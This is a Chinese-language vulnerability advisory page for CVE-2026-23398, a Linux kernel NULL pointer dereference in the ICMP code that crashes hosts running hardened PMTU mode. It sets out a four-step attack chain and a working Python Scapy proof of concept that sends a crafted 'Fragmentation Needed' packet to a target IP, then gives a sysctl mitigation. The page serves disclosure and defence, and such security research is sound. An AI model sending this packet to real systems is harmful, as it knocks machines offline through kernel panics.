IPBUF安全漏洞报告
English
CVE-2026-23398 CVSS 5.5 中危

CVE-2026-23398 Linux内核icmp空指针解引用漏洞

披露日期: 2026-03-26
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23398
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务空指针解引用ICMPCVE-2026-23398Kernel Panic

漏洞概述

Linux内核网络子系统存在空指针解引用漏洞。由于`icmp_tag_validation()`函数未对`inet_protos[proto]`进行NULL检查,当系统处于强化PMTU模式(`ip_no_pmtu_disc=3`)并接收到携带未注册协议号的ICMP“分片需要”报文时,会导致内核空指针解引用,引发系统崩溃(内核恐慌),影响系统可用性。

技术细节

该漏洞源于Linux内核网络协议栈中ICMP模块的处理逻辑缺陷。具体位于`net/ipv4/icmp.c`的`icmp_tag_validation()`函数,该函数在调用`rcu_dereference(inet_protos[proto])`获取协议处理程序后,未验证返回指针的有效性即进行解引用操作。由于`inet_protos[]`数组是稀疏结构,大量协议号并未注册处理程序。漏洞利用需要特定的环境配置:首先将`ip_no_pmtu_disc`内核参数设置为3(即Hardened PMTU mode)。随后,攻击者向目标发送特制的ICMP“Fragmentation Needed”错误报文,该报文的原始IP头部载荷中需包含一个未注册的IP协议号。当内核处理此类报文时,会触发空指针解引用,导致软中断上下文中发生内核恐慌,从而使系统崩溃或重启,造成拒绝服务攻击。

攻击链分析

STEP 1
环境配置
目标系统必须设置内核参数 ip_no_pmtu_disc 为 3(硬化的PMTU模式),这是触发漏洞的前提条件。
STEP 2
构造恶意报文
攻击者构造一个特制的ICMP“Fragmentation Needed”(需要分片)错误报文,该报文的引用内部IP头部中包含一个未注册的协议号(例如253)。
STEP 3
发送报文
攻击者将构造好的恶意ICMP报文发送给目标主机。
STEP 4
触发崩溃
目标内核在处理该报文时,icmp_tag_validation()函数解引用空指针,导致内核恐慌(Kernel Panic)和系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-23398: Linux Kernel icmp NULL pointer dereference. This script sends a crafted ICMP Fragmentation Needed packet with an unregistered protocol number in the quoted IP header to trigger the crash. """ from scapy.all import * # Configuration target_ip = "192.168.1.100" # Replace with target IP # Step 1: Construct the inner IP packet with an unregistered protocol number. # Protocol 253 is typically unassigned. inner_ip = IP(dst=target_ip, proto=253) / Raw(b"AAAA") # Step 2: Construct the ICMP 'Fragmentation Needed' (Type 3, Code 4) packet. # This includes the inner IP packet as the payload (IPerror). icmp_pkt = IP(dst=target_ip) / ICMP(type=3, code=4, nexthopmtu=576) / IPerror(dst=target_ip, proto=253) / Raw(b"AAAA") # Step 3: Send the packet. # Note: The target must have ip_no_pmtu_disc set to 3 for the crash to occur. print(f"[*] Sending PoC packet to {target_ip}...") send(icmp_pkt, verbose=0) print("[*] Packet sent.")

影响范围

Linux Kernel (Stable Branches)

防御指南

临时缓解措施
临时缓解措施是将内核参数 `ip_no_pmtu_disc` 设置为除 3 以外的值(如 0、1 或 2),以禁用严格的标签验证逻辑,从而避免触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表